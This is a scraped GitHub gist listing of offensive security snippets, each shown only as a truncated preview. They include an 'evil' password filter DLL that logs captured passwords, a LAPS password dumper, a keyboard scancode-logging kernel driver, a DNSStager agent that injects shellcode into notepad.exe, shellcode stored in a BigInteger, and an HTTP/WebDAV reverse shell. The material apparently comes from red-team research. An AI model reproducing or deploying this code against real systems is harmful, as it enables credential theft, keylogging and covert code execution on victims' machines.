Skip to content

Instantly share code, notes, and snippets.

View benheise's full-sized avatar

Benjamin Heise benheise

View GitHub Profile

Keybase proof

I hereby claim:

  • I am benheise on github.
  • I am benheise (https://keybase.io/benheise) on keybase.
  • I have a public key whose fingerprint is ECCE D854 CEAB 2375 7573 72EE 7B44 EE76 3D3E 6E0E

To claim this, I am signing this object:

@benheise
benheise / gist:c94558dafbfdb2d05dd089350ac0c9a2
Last active August 7, 2019 16:31
nc with https in powershell
add-type @"
using System.Net;
using System.Security.Cryptography.X509Certificates;
public class TrustAllCertsPolicy : ICertificatePolicy {
public bool CheckValidationResult(
ServicePoint srvPoint, X509Certificate certificate,
WebRequest request, int certificateProblem) {
return true;
}
}
@benheise
benheise / evilpassfilter.cpp
Created February 11, 2017 16:31 — forked from mubix/evilpassfilter.cpp
Evil "Password Filter"
#include <windows.h>
#include <stdio.h>
#include <WinInet.h>
#include <ntsecapi.h>
void writeToLog(const char* szString)
{
FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");
if (NULL == pFile)
{
@benheise
benheise / laps.py
Created August 6, 2021 15:10 — forked from jstnkndy/laps.py
Modified version of https://github.com/n00py/LAPSDumper to allow cross domain targeting
#!/usr/bin/env python3
from ldap3 import ALL, Server, Connection, NTLM, extend, SUBTREE
import argparse
parser = argparse.ArgumentParser(description='Dump LAPS Passwords')
parser.add_argument('-u','--username', help='username for LDAP', required=True)
parser.add_argument('-p','--password', help='password for LDAP (or LM:NT hash)',required=True)
parser.add_argument('-l','--ldapserver', help='LDAP server (or domain)', required=False)
parser.add_argument('-d','--domain', help='Domain', required=True)
parser.add_argument('-t', '--target', help="Target Domain", required=False)
@benheise
benheise / KbdclassFltrDriver.c
Created December 15, 2021 00:59 — forked from Barakat/KbdclassFltrDriver.c
Kbdclass kernel filter driver to log scan-codes
#include <wdm.h>
#include <ntddkbd.h>
//
// Per-device object extension
//
typedef struct _DEVICE_EXTENSTION
{
//
// Driver must not be deleted as long as there is a pending IRP
@benheise
benheise / client-ipv6-generic.c
Created January 24, 2022 02:16 — forked from mhaskar/client-ipv6-generic.c
DNSStager v1.0 beta agent to inject the retrived shellcode in notepad.exe and using Early Bird APC
#include <stdint.h>
#include <inttypes.h>
#include <winsock2.h>
#include <windns.h>
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
@benheise
benheise / type.cs
Created February 11, 2022 16:36
Experiments - Event ID 007: No Image loaded Event
using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;
public sealed class MyAppDomainManager : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
@benheise
benheise / shellBigInt.cs
Created February 11, 2022 16:37
Shellcode Stuffed in BigInteger
sing System;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
/*
Author: Casey Smith, Twitter: @subTee
@benheise
benheise / webdav.ps1
Created February 11, 2022 16:39
Minimalist WebDav Share Example
<#
.SYNOPSIS
Simple Reverse Shell over HTTP. Deliver the link to the target and wait for connectback.
Read And Write Files Over WebDAV Proof Of Concept
.PARAMETER Server
Listening Server IP Address
@benheise
benheise / sc.js
Created February 11, 2022 16:40
DynamicWrapperX - Register Code Example
//Example Reference:
// https://unit42.paloaltonetworks.com/unit42-houdinis-magic-reappearance/
// Test
new ActiveXObject('WScript.Shell').Environment('Process')('TMP') = 'C:\\Tools';
// Change that C:\\Tools to a location you specify, or dynamically find current directory.
// ActCTX will search for the DLL in TMP
var manifest = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity type="win32" name="DynamicWrapperX" version="2.2.0.0"/> <file name="dynwrapx.dll"> <comClass description="DynamicWrapperX Class" clsid="{89565276-A714-4a43-912E-978B935EDCCC}" threadingModel="Both" progid="DynamicWrapperX"/> </file> </assembly>';